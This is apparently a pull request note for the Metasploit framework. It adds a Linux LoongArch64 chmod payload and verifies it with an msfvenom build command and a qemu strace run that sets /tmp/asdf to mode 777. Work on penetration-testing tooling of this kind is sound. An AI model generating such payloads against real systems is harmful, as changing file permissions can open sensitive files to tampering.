Add Linux LoongArch64 chmod payload

[bcoles]

Verification

$ ./msfvenom -p linux/loongarch64/chmod FILE=/tmp/asdf MODE=777 -f elf -o chmod.elf && chmod +x chmod.elf 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: loongarch64 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 168 bytes
Saved as: chmod.elf

$ /home/user/qemu/build/qemu-loongarch64 -strace ./chmod.elf 
3129433 fchmodat(AT_FDCWD,"/tmp/asdf",0777,0) = 0
3129433 exit(0)